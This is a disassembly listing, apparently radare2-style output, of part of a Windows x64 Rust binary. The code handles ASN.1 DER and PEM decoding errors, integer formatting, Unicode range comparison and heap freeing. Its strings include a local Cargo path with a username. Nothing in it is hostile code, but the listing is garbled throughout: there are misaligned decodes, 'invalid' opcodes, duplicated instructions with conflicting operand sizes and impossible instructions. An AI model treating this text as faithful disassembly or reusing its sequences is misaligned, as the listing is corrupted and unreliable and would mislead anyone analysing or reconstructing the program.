lea rax, str.ASN.1__not_canonically_encoded_as_DER
mov qword [rsp + 0x20], rax
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x28], 2
and al, 0x28
add al, byte [rax]
add byte [rax], al
jmp 0x14004b540
add byte [rax], al
lea rax, str.malformed_OID
jmp 0x14004b2da
inc rsi
mov qword [rsp + 0x58], rsi
and al, 0x58
and al, 0x58
lea rax, [rsp + 0x58]
and al, 0x58
mov qword [rsp + 0x70], rax
lea rax, [0x14004b6f0]
jo 0x14004b29a
lea eax, [0x14004b6f0]
mov qword [rsp + 0x78], rax
lea rax, str.unknown_unsupported_OID:
in al, 0x4a
or dword [rax], eax
js 0x14004b2a6
lea eax, [0x1400dfd48]
in al, 0x4a
or dword [rax], eax
jmp 0x14004b532
leave
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, str.SET_OF_contains_duplicate
lea rax, str.SET_OF_contains_duplicate
or dword [rax], eax
jmp 0x14004b2da
lea rax, str.SET_OF_ordering_error
or dword [rax], eax
jmp 0x14004b2da
lea rax, str.integer_overflow
add bl, ch
push rsi
jmp 0x14004b2da
lea rax, str.ASN.1_DER_message_is_too_long
jmp 0x14004b2da
add rsi, 8
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
pop rax
mov qword [rsp + 0x70], rax
and al, 0x70
lea rax, [0x14004b710]
add eax, 0x469
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x78
mov qword [rsp + 0x78], rax
lea rax, str.PEM_error:
jmp 0x14004b532
add byte [rax], al
add byte [rax], al
lea rax, [0x1400dfe20]
jmp 0x14004b2da
add bl, ch
sbb dword [rax - 0x73], ecx
invalid
invalid
lea rax, str.reader_does_not_support_the_requested_operation
lea eax, [0x1400dfe60]
add eax, 0x94b98
jmp 0x14004b2da
lea rax, str.unknown_tag_modep
jmp 0x14004b2da
lea rax, str.invalid_tag_number
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
and al, 0x28
add dword [rax], eax
add byte [rax], al
and byte [rax - 0x39], cl
and al, 0x28
and al, 0x28
and al, 0x28
add dword [rax], eax
add byte [rax], al
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
add byte [rax - 0x77], cl
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
jmp 0x14004b55c
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 1], cl
inc rsi
inc rsi
inc esi
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x68]
je 0x14004b32c
push 0x24448d48
push 0x24448948
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x58], rax
lea rax, [0x14004b8d0]
mov dh, 5
add byte [rax], al
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x20], 2
and al, 0x20
add al, byte [rax]
add byte [rax], al
invalid
and al, 0x20
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 2
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
movabs rax, 0x800000020
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov byte [rsp + 0x50], 3
lea rax, str.unknown_unsupported_ASN.1_DER_tag:_0x
and al, 0x50
add ecx, dword [rax - 0x73]
add eax, 0x94bfa
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
jo 0x14004b3ac
mov dword [rsp + 0x78], 1
lea rax, [rsp + 0x20]
and al, 0x20
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x58
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x58
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x70]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x70]
jmp 0x14004b569
mov ecx, 0x48000001
lea eax, [rsi + 4]
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
add byte [rax], al
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
add rsi, 8
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [0x14004b5d0]
add eax, 0x1fd
add eax, 0x1fd
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x80], rcx
mov dword [rsp + 0x80], ecx
mov dword [rsp + 0x80], ecx
mov qword [rsp + 0x88], rax
lea rax, str.trailing_data_at_end_of_DER_message:_decoded__bytes___bytes_remaining
lea eax, [0x1400dffb0]
lea eax, [0x1400dffb0]
or dword [rax], eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
and al, 0x70
and al, 0x70
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
jmp 0x14004b55c
add rsi, 8
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov qword [rsp + 0x70], rax
lea rax, [0x14004b980]
add eax, 0x89480000
and al, 0x78
add eax, 0x89480000
and al, 0x78
mov dword [rsp + 0x78], eax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
jmp 0x14004b532
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
lea rax, str.unexpected_ASN.1_DER_tag:
jp 0x14004b4a6
or dword [rax], eax
jp 0x14004b4a6
or dword [rax], eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
ror byte [rdi], 0x11
and al, 0x38
mov rdi, qword [rdx + 0x20]
mov rbx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
mov rcx, rdi
mov rdx, rbx
call fcn.140042180
invalid
invalid
test al, al
invalid
jne 0x14004b509
cmp byte [rsi + 1], 0x17
je case.0x1400689bc.108
inc rsi
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov qword [rsp + 0x70], rax
and al, 0x70
lea rax, [0x14004acb0]
add eax, 0xfffff7f1
mov qword [rsp + 0x78], rax
lea rax, str.expected
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 2
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x40], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea r8, [rsp + 0x20]
lea eax, [rsp + 0x20]
lea eax, [rsp + 0x20]
mov rcx, rdi
mov rdx, rbx
call fcn.140042180
test al, al
je case.0x1400689bc.108
mov al, 1
jmp 0x14004b56e
inc rsi
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
lea rax, [0x14004acb0]
mov qword [rsp + 0x78], rax
lea rax, str.malformed_ASN.1_DER_value_for
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
and al, 0x28
add dword [rax], eax
add byte [rax], al
and byte [rax - 0x39], cl
and al, 0x28
and al, 0x28
and al, 0x28
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
and al, 0x38
add dword [rax], eax
add byte [rax], al
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
call fcn.140042180
adc ch, byte [rdi + rdi*8 - 1]
nop
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [0x14004acb0]
mov qword [rsp + 0x78], rax
lea rax, str.got
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
jo 0x14004b5fc
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], 1
lea r8, [rsp + 0x20]
lea eax, [rsp + 0x20]
lea eax, [rsp + 0x20]
mov rcx, rdi
mov rdx, rbx
jmp 0x14004b569
sub rsp, 0x58
mov r9, rdx
mov rax, qword [rcx]
mov ecx, dword [rax]
mov eax, 0x27
add byte [rbp + rcx*4 + 5], cl
mov dh, 0xb1
or dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
mov dh, 0xb1
or dword [rax], eax
cmp rcx, 0x2710
jb 0x14004b6a0
invalid
invalid
add byte [rax], al
invalid
invalid
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
cmp dh, dl
invalid
insd dword [rdi], dx
xor al, 0x66
nop dword [rax + rax]
add byte [rcx - 0x46], cl
pop r9
xchg byte [rax], bh
cmp dh, dl
cmp dh, dl
invalid
mov rax, rcx
mul r10
enter 0xfffffffffffff749, 0xffffffffffffffe2
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x2d], di
sbb al, 0x2d
sbb al, 0x2d
movzx esi, word [r8 + rsi*2]
mov word [rsp + r11 + 0x2f], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x14004b610
cmp rdx, 0x63
jbe 0x14004b68e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
add byte [rax], al
add byte [rax], al
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
adc dword [rbx + rbp*2 - 0x2f], eax
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x14004b6ab
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x14004b6b9
mov rdx, rcx
cmp rdx, 0x63
invalid
ja 0x14004b664
retf 0x8348
invalid
jmp 0x14004b68e
movzx ecx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], cx
add al, 0x2f
add al, 0x2f
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
add rcx, 0x31
mov edx, 0x27
sub rdx, rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rcx
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.1400416f0
call qword [rax + 0x58c48348]
call qword [rax + 0x58c48348]
pop rdi
pop rsi
ret
dec esp
int3
int3
invalid
add ecx, eax
jmp rcx
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
and al, 0x30
lea rax, str.PEM_Base64_error:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
jmp 0x14004b896
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.PEM_character_encoding_errorPEM_error_in_encapsulated_textPEM_headers_disallowed_by_RFC7468PEM_type_label_invalidPEM_length_invalidPEM_preamble_contains_invalid_data__NUL_byte_PEM_error_in_pre_encapsulation_boundaryPEM_error_in_post_encapsulation_boundaryunexpected_PEM_type_label:_expecting__
mov r8d, 0x1c
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e1ef4]
mov r8d, 0x1e
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e1f12]
mov r8d, 0x21
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e1f33]
mov r8d, 0x16
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e1f49]
mov r8d, 0x12
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e1f5b]
mov r8d, 0x2d
add rsp, 0x68
jmp rax
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140042180
nop
add rsp, 0x68
ret
add byte [rdi], cl
setne bl
cmp r10d, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
xchg ebp, eax
ret
add byte [rax], al
adc dword [rax], eax
invalid
sete r11b
mov al, 1
cmp bl, r11b
je 0x14004de62
mov al, 1
mov r11d, 1
mov ebx, 1
add dword [rcx - 0x45], eax
add dword [rax], eax
add byte [rax], al
add byte [rdx - 0x75], al
je 0x14004dd35
mov esi, dword [rdx + r11*8 - 8]
clc
mov edi, dword [rcx + r11*8 - 8]
test bl, 1
je 0x14004dd6f
cmp r9d, r10d
jne 0x14004de62
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], bh
cmp edi, esi
jne 0x14004de62
test ebx, ebp
add byte [rax], al
invalid
test dword [rdi], 0xeb85
test ebx, ebp
add byte [rax], al
add byte [rbp + 0x39], cl
ret
cmp r11, r8
cmp ebx, eax
setb al
je 0x14004de62
mov r9d, dword [rcx + r11*8 + 4]
mov r10d, dword [rdx + r11*8 + 4]
invalid
fld dword [rsi + rax*2]
mov edx, dword [rdx + rbx*8 + 4]
invalid
fiadd dword [rcx + rcx*2]
add al, 0x49
inc r11
inc ebx
cmp r9d, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rdi], cl
xchg ebp, eax
ret
setne bl
cmp r10d, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
cli
add byte [rax], al
adc dword [rax], eax
sete sil
cmp bl, sil
invalid
cmp bl, dh
jne case.0x140075b85.482
jne case.0x140075b85.482
jmp 0x14004de62
test eax, eax
jne case.0x140026cbd.410
add byte [rbx + 0x423b0441], cl
add al, 0xf
xchg esp, eax
shr cl, 0xa2
movabs byte [0xf04f88341000000], al
mov eax, dword [rcx + 4]
cmp eax, dword [rdx + 4]
sete al
jmp case.0x140026cbd.410
invalid
add byte [rax], al
invalid
movabs byte [0xf04f88341000000], al
cmp r8d, 4
jne case.0x140026cbd.410
invalid
cwde
add byte [rax], al
invalid
test dword [rax + 0x4c000000], ebx
mov eax, dword [rcx + 0x18]
cwde
add byte [rax], al
add byte [rbx + rcx*4 + 0x41], cl
mov r8, qword [rcx + 0x18]
sbb byte [rbx + rdi + 0x42], cl
sbb byte [rdi], cl
test dword [rax + 0x4d000000], ecx
test eax, eax
invalid
cmp r8, qword [rdx + 0x18]
jne 0x14004de66
test r8, r8
ror byte [rdi], 0x84
xchg dword [rax], eax
add byte [rax], al
invalid
je 0x14004de6e
test byte [rdi + 0x48000000], al
add byte [rax - 0x75], cl
or byte [r8 - 0x75], cl
push rdx
or byte [rbx + rcx*4 + 0x49], al
add al, 0x44
mov edx, dword [rdx + 4]
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
mov rdx, qword [rdx + 8]
mov r9d, dword [rcx + 4]
mov r10d, dword [rdx + 4]
cmp r9d, 0x110000
stc
add byte [rax], al
invalid
add byte [rcx], dl
add byte [rdi], cl
setne bl
adc dword [rax], eax
setne bl
cmp r10d, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
cmp edx, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
sete r11b
mov al, 1
cmp bl, r11b
je 0x14004de62
mov al, 1
mov r11d, 1
mov ebx, 1
mov ebx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdx - 0x75], al
je 0x14004ddf9
mov esi, dword [rdx + r11*8 - 8]
clc
mov edi, dword [rcx + r11*8 - 8]
test bl, 1
je 0x14004de2f
cmp r9d, r10d
jne 0x14004de62
cmp edi, esi
jne 0x14004de62
invalid
invalid
cmp r11, r8
setb al
je 0x14004de62
mov r9d, dword [rcx + r11*8 + 4]
mov r10d, dword [rdx + r11*8 + 4]
inc r11
cmp r9d, 0x110000
add byte [rdi], cl
xchg ebp, eax
ret
cmp r10d, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
add byte [rdi], cl
xchg ebp, eax
ret
cli
add byte [rax], al
adc dword [rax], eax
sete sil
cmp bl, sil
jne 0x14004de1b
xor al, 1
jmp case.0x140026cbd.410
xor eax, eax
and al, 1
pop rbx
pop rdi
pop rsi
ret
xor eax, eax
xor al, 1
jmp case.0x140026cbd.410
sal byte [rcx + rax], 0xeb
hlt
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rdi, rcx
mov qword [rsp + 0x20], 4
xorps xmm0, xmm0
ror byte [rdi], 0x11
and al, 0x28
ror byte [rdi], 0x11
and al, 0x28
test r8, r8
je 0x14004df81
mov rsi, r8
mov rbx, rdx
mov eax, 4
xor edx, edx
movabs r15, 0x11000000000000
lea r14, [rsp + 0x20]
xor r12d, r12d
jmp 0x14004def3
or r13, r15
mov rax, qword [rsp + 0x20]
mov qword [rax + rdx*8], r13
inc rdx
mov qword [rsp + 0x30], rdx
inc r12
mov r13, r12
cmp r13, rsi
jae 0x14004df81
lea r13, [r12 + 3]
cmp r13, rsi
ja 0x14004df60
lea rcx, [r12 + 1]
cmp rcx, rsi
jae case.0x1400279a8.323
cmp dword [rbx + r12*4 + 4], 0x2d
jne 0x14004df60
lea rcx, [r12 + 2]
cmp rcx, rsi
jae 0x14004dfbd
mov ebp, dword [rbx + r12*4]
mov r12d, dword [rbx + r12*4 + 8]
cmp rdx, qword [rsp + 0x28]
jne 0x14004df43
mov rcx, r14
call fcn.14004dfd0
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
shl r12, 0x20
or r12, rbp
mov qword [rax + rdx*8], r12
inc rdx
mov qword [rsp + 0x30], rdx
mov r12, r13
cmp r13, rsi
jb 0x14004def3
jmp 0x14004df81
mov r13d, dword [rbx + r12*4]
cmp rdx, qword [rsp + 0x28]
jne 0x14004ded0
mov rcx, r14
call fcn.14004dfd0
mov rdx, qword [rsp + 0x30]
jmp 0x14004ded0
mov rax, qword [rsp + 0x30]
mov qword [rdi + 0x10], rax
mov rax, qword [rsp + 0x20]
mov qword [rdi], rax
mov rax, qword [rsp + 0x28]
mov qword [rdi + 8], rax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
lea r8, [0x1400e0810]
mov rdx, rsi
call fcn.1400a9d70
ud2
lea r8, [0x1400e0828]
sub byte fs:[rcx], cl
add byte [rax - 0x77], cl
or dword [rax], eax
mov rdx, rsi
bnd call fcn.1400a9d70
call fcn.1400a9d70
movsb byte [rdi], byte [rsi]
mov ebp, 0xb0f0005
int3
ud2
xchg ecx, eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov eax, dword [rcx + 8]
lea rcx, [rax + rax]
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 5
mov edi, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf], cl
invalid
invalid
cmovae rdi, rdx
cli
xor edx, edx
mov rcx, rdi
shr rcx, 0x3c
sete dl
lea r8, [rdi*8]
shl rdx, 2
test rax, rax
je 0x14004e037
sal byte [rsp + rbx + 0x48], 0x8b
invalid
mov rcx, qword [rsi]
mov ecx, dword [rsi]
shl rax, 3
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rsp + 0x38], rax
and al, 0x38
jmp 0x14004e040
or dword [rax - 0x39], ecx
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
and al, 0x28
and al, 0x28
call fcn.1400a57b0
cmp qword [rsp + 0x40], 0
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x48
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x48
je 0x14004e077
movabs rax, 0x8000000000000001
cmp rcx, rax
invalid
je 0x14004e07e
add byte [rax], al
add byte [rax + 0x74c13948], al
invalid
invalid
sal dword [rbx + rdx + 0x48], 0x85
adc ecx, dword [rax - 0x7b]
test rcx, rcx
leave
jne 0x14004e085
call fcn.1400401e0
ud2
invalid
and edi, edi
dec dword [rdi]
or ecx, dword [rax - 0x77]
invalid
mov qword [rsi], rcx
mov dword [rsi], ecx
mov qword [rsi + 8], rdi
jle case.0x1400279e4.472
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
call fcn.1400a9bd0
ud2
mov ebx, 0xb0f0005
int3
int3
int3
int3
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rdi, rdx
xlatb
xlatb
mov rsi, rcx
mov rbx, qword [rdx]
mov r14, qword [rdx + 8]
mov rax, qword [rdx + 0x10]
movzx ecx, byte [rdx + 0x18]
mov dh, 0x4a
sbb dh, al
sbb byte [rdx], al
mov dh, 0x4a
sbb dh, al
sbb byte [rdx], al
cmp cl, 2
je 0x14004e128
mov r8, qword [rdi + 0x30]
test r8, r8
je 0x14004e111
cmp r8, 0xffffffffffffffff
je 0x14004e3d3
add al, byte [rax]
invalid
dec dword [rdi]
test dl, dh
add al, byte [rax]
add byte [rax - 0x73], cl
cmp byte [r8 - 0x75], r9b
push rdi
and byte [rdi + rcx - 0x49], al
push r8
lea rcx, [rdi + 0x38]
mov rdx, qword [rdi + 0x20]
movzx r9d, word [rdi + 0x50]
movzx r10d, byte [rdi + 0x52]
shl r10d, 0x10
adc byte [rbp + 9], al
retf 0x8944
push rsp
and al, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
call fcn.14004e3f0
adc byte [rbp + 9], al
retf 0x8944
test r14, r14
test esi, esi
je 0x14004e128
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rdi + 0x30]
test rdx, rdx
ror byte [rdi], cl
invalid
invalid
add al, byte [rax]
invalid
ror byte [rdi], cl
test byte [0x18804e138], bl
mov eax, dword [rdi + 0x48]
mov rax, qword [rdi + 0x48]
test rax, rax
je case.0x140028086.279
lea rcx, [rdi + 0x38]
mov qword [rsp + 0x38], rcx
nop dword [rax + rax]
dec rax
mov qword [rdi + 0x48], rax
mov rcx, qword [rdi + 0x38]
lea r8, [rax + rax*2]
shl r8, 4
shl r8, 4
add al, 0x4a
mov rax, qword [rcx + r8]
mov eax, dword [rcx + rax]
mov r15, qword [rcx + r8 + 8]
mov rbx, qword [rcx + r8 + 0x10]
mov r12, qword [rcx + r8 + 0x18]
mov r14, qword [rcx + r8 + 0x20]
je 0x14004e17b
invalid
je 0x14004e17b
and byte [rsi - 0x75], cl
insb byte [rdi], dx
add dword [rax], ebp
invalid
mov r13, qword [rcx + r8 + 0x28]
sub byte [rax - 0x7b], cl
ror byte [rdi], 0x85
iretd
test rax, rax
jne 0x14004e358
cmp r13, 0xffffffffffffffff
je 0x14004e2d0
cmp r13, rdx
jae 0x14004e397
add byte [rax], al
add byte [rax], al
mov r8, qword [rdi + 0x20]
imul r9, r13, 0x38
cmp byte [r8 + r9 + 0x30], 0
je 0x14004e250
add byte [rax], al
add byte [rax], al
lea rax, [r13 + 1]
cmp rdx, rax
cmova rax, rdx
lea rcx, [rax - 1]
dec rdx
add r8, r9
add r8, 0x68
nop dword [rax]
add byte [rcx + rdi - 0x16], cl
add byte [rcx + rdi - 0x16], cl
je 0x14004e1e7
mov rbp, r13
inc r13
cmp byte [r8], 0
lea r8, [r8 + 0x38]
jne 0x14004e1d0
mov rbp, rcx
mov r13, rax
mov rcx, r15
mov rdx, r12
call fcn.140050000
test al, al
je 0x14004e23e
cmp r13, rdx
jae 0x14004e3a8
imul rbp, r13, 0x38
add rbp, qword [rdi + 0x20]
mov rcx, r15
mov rdx, r12
call fcn.140085fe0
test rax, rax
je 0x14004e2ed
add byte [rbp + 0x64], dh
mov r8, qword [rsp + 0x48]
mov r8, qword fs:[rsp + 0x48]
movzx eax, word [rdi + 0x50]
movzx ecx, byte [rdi + 0x52]
shl ecx, 0x10
or ecx, eax
mov r9, qword [rsp + 0x50]
add r9, r8
ror dword [rcx + 0x4828244c], 0xc7
and al, 0x20
add byte [rax], al
add byte [rax], al
ror dword [rcx + 0x4828244c], 0xc7
and al, 0x20
add byte [rax], al
add byte [rax], al
mov rcx, rbp
mov dl, 1
call fcn.1400500c0
test al, al
jne 0x14004e2ed
mov r8, qword [rdi + 0x30]
lea rax, [r8 - 1]
cmp r13, rax
jne 0x14004e31c
nop dword [rax + rax]
invalid
cmp byte [rdi + 0x53], 0
je 0x14004e373
cdq
add byte [rax], al
add byte [rax], al
cdq
add byte [rax], al
add byte [rax], al
mov rcx, r15
add byte [rax], al
mov rcx, r15
stc
mov rdx, r12
call fcn.140050000
test al, al
jne 0x14004e373
test rbx, rbx
je 0x14004e304
mov rcx, qword [0x1400f91f8]
or al, byte [rax]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rdi + 0x30]
test rdx, rdx
je case.0x140028086.279
mov rax, qword [rdi + 0x48]
test rax, rax
jne 0x14004e150
invalid
invalid
invalid
invalid
invalid
jmp case.0x140028086.279
mov rdx, qword [rdi + 0x20]
inc r13
movzx eax, word [rdi + 0x50]
push rax
push rax
movzx ecx, byte [rdi + 0x52]
mov dh, 0x4f
push rdx
shl ecx, 0x10
or ecx, eax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], r12
sub byte [rcx + rcx*4 + 0x7c], cl
and al, 0x20
sub byte [rcx + rcx*4 + 0x7c], cl
and al, 0x20
mov rcx, qword [rsp + 0x38]
mov r9, r13
call fcn.14004e3f0
test rbx, rbx
jne case.0x14004ab59.303
cmp byte [rbp - 0x77], cl
jmp 0x140058932
jmp 0x14004e304
mov byte [rsi + 0x20], 3
jmp case.0x140028086.280
cmp rax, 2
je 0x14004e3b9
mov qword [rsi], r15
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r14
mov qword [rsi + 0x20], r13
jmp case.0x140028086.280
mov qword [rsi], r15
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r14
mov byte [rsi + 0x20], 2
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x1400e05e0]
mov rcx, r13
call fcn.1400a9d70
ud2
lea r8, [0x1400e05f8]
mov rcx, r13
call fcn.1400a9d70
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e05c8]
mov edx, 0x2b
add byte [rax], al
add byte [rax], al
call fcn.1400a9e70
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x9219e
lea rcx, str.assertion_failed:_self.dir_patterns.len______0_as_usize
lea r8, [0x1400e05b0]
mov edx, 0x37
add byte [rax], al
add byte [rax], al
call fcn.1400a9e70
ud2
clc
invalid
sub dword [rsi], 0x1a
add byte [rax], al
mov rsi, rcx
mov qword [rsp + 0xb8], rax
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx + 0x7702484], cl
and al, 0x70
invalid
add byte [rax], al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx + 0x7702484], cl
and al, 0x70
invalid
add byte [rax], al
mov eax, 0x8b000000
test byte [rax + rsi*2], ah
and al, 0x70
and al, 0x70
invalid
mov dword [rsp + 0x64], eax
mov rdi, qword [rsp + 0x768]
mov qword [rsp + 0x88], r9
mov dword [rsp + 0x88], ecx
